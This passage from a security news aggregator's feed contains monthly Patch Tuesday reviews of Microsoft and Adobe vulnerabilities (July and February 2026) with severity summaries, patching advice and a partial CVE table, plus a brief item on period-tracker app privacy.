“normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Period tracker Stardust shares users’ health data with analytics firm, says new research]]></title>
<description><![CDATA[One period tracker app tested by the Mozilla Foundation was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></description>
<link>https://tsecurity.de/de/3694506/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-new-research/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694506/it-security-nachrichten/period-tracker-stardust-shares-users-health-data-with-analytics-firm-says-new-research/</guid>
<pubDate>Sat, 25 Jul 2026 19:01:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[One period tracker app tested by the Mozilla Foundation was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21532"><span><span> </span>CVE-2026-21532<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Function Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21522"><span><span> </span>CVE-2026-21522<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23655"><span><span> </span>CVE-2026-23655<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21218"><span><span> </span>CVE-2026-21218<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>.NET and Visual Studio Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21512"><span><span> </span>CVE-2026-21512<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure DevOps Server Cross-Site Scripting
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">XSS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21529"><span><span> </span>CVE-2026-21529 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Azure HDInsight Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21528"><span><span> </span>CVE-2026-21528<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21228"><span><span> </span>CVE-2026-21228<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Local Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.1</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21531"><span><span> </span>CVE-2026-21531<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure SDK for Python Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21251"><span><span> </span>CVE-2026-21251<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Cluster Client Failover (CCF) Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20846"><span><span> </span>CVE-2026-20846<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GDI+ Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21523"><span><span> </span>CVE-2026-21523<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21518"><span><span> </span>CVE-2026-21518<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Code
  Security Feature Bypass Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21257"><span><span> </span>CVE-2026-21257<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21256"><span><span> </span>CVE-2026-21256<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot and Visual Studio Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21516"><span><span> </span>CVE-2026-21516<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>GitHub Copilot for Jetbrains Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21253"><span><span> </span>CVE-2026-21253<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Mailslot File System Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21537"><span><span> </span>CVE-2026-21537 †</span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Defender for Endpoint Linux
  Extension Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21259"><span><span> </span>CVE-2026-21259<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21258"><span><span> </span>CVE-2026-21258<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21261"><span><span> </span>CVE-2026-21261<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="48">
